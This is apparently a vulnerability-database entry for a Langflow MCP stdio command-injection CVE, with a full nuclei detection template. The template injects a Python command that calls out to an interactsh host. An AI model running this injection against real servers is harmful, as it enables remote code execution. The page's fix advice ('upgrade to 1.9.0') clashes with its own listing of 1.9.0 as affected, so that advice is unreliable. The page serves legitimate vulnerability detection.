HexBrain

Browse / CVEs / CVE-2026-105740

CVE-2026-105740· langflow-ai / langflow· CWE-78

Langflow 1.8.3 and 1.9.0 - Authenticated MCP Stdio Command Execution

criticalseverity
9.9CVSS score
3.9%likelihood of exploitation, next 30 days
90%of all CVEs are less likely
Readycheck to confirm it

An authenticated user can register an MCP stdio server command that executes when Langflow lists server actions. The 1.9.0 REST validation can be bypassed by placing arguments in the command field. This probe runs a short Python callback, verifies an out-of-band DNS lookup, and removes its server config. The equivalent sink is hardened in 1.10.3.

Impact

Authenticated users can execute arbitrary commands on the server, potentially leading to full server compromise.

Fix

Upgrade to version 1.9.0 or later.

How to confirm it

Send: POST /api/v1/login
Positive when: status_code == 200 && contains(content_type, "application/json") && contains(body, "access_token")
Send: POST /api/v2/mcp/servers/{{probe_name}}
Positive when: status_code == 200 and contains(content_type, "application/json")
Send: GET /api/v2/mcp/servers?action_count=true
Positive when: status_code == 200 and contains(content_type, "application/json")
Send: DELETE /api/v2/mcp/servers/{{probe_name}}
Positive when: status_code == 200
Send: GET /api/v2/mcp/servers
Positive when: status_code == 200 and !contains(body, probe_name) AND contains in interactsh_protocol "dns"

Run it with nuclei: nuclei -id CVE-2026-105740 -u <target>

The full check
id: CVE-2026-105740

info:
  name: Langflow 1.8.3 and 1.9.0 - Authenticated MCP Stdio Command Execution
  author: alex700
  severity: critical
  description: |
    An authenticated user can register an MCP stdio server command that executes
    when Langflow lists server actions. The 1.9.0 REST validation can be bypassed
    by placing arguments in the command field. This probe runs a short Python
    callback, verifies an out-of-band DNS lookup, and removes its server config.
    The equivalent sink is hardened in 1.10.3.
  impact: |
    Authenticated users can execute arbitrary commands on the server, potentially leading to full server compromise.
  remediation: |
    Upgrade to version 1.9.0 or later.
  reference:
    - https://github.com/langflow-ai/langflow/security/advisories/GHSA-7w94-79vh-5mr2
    - https://github.com/langflow-ai/langflow/pull/12290
    - https://github.com/langflow-ai/langflow/security/advisories/GHSA-w794-rj3p-xv45
    - https://nvd.nist.gov/vuln/detail/CVE-2026-105740
  classification:
    cve-id: CVE-2026-105740
    epss-score: 0.03885
    epss-percentile: 0.90321
    cwe-id: CWE-78
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.9
  metadata:
    verified: true
    max-request: 5
    vendor: langflow-ai
    product: langflow
  tags: cve,cve2026,langflow,mcp,rce,authenticated,oast,intrusive,vkev

variables:
  probe_name: "nuclei_{{randstr}}"

flow: 'if (http(1) && http(2)) { http(3); http(4); http(5) }'

http:
  - raw:
      - |
        POST /api/v1/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{url_encode(username)}}&password={{url_encode(password)}}
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200 && contains(content_type, "application/json") && contains(body, "access_token")'
        internal: true
    extractors:
      - type: json
        name: access_token
        part: body
        json:
          - '.access_token'
        internal: true

  - raw:
      - |
        POST /api/v2/mcp/servers/{{probe_name}} HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{access_token}}
        Content-Type: application/json

        {"command":"python3 -c \"import urllib.request;urllib.request.urlopen('http://{{interactsh-url}}',timeout=3)\"","args":[],"env":{}}
    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(content_type, "application/json")
        condition: and
        internal: true

  - raw:
      - |
        GET /api/v2/mcp/servers?action_count=true HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{access_token}}
    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(content_type, "application/json")
        condition: and
        internal: true

  - raw:
      - |
        DELETE /api/v2/mcp/servers/{{probe_name}} HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{access_token}}
    matchers:
      - type: dsl
        dsl:
          - status_code == 200
        internal: true

  - raw:
      - |
        GET /api/v2/mcp/servers HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{access_token}}
    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - "!contains(body, probe_name)"
        condition: and
      - type: word
        part: interactsh_protocol
        words:
          - dns

References

Use this check only on systems you are authorised to test. Where the data comes from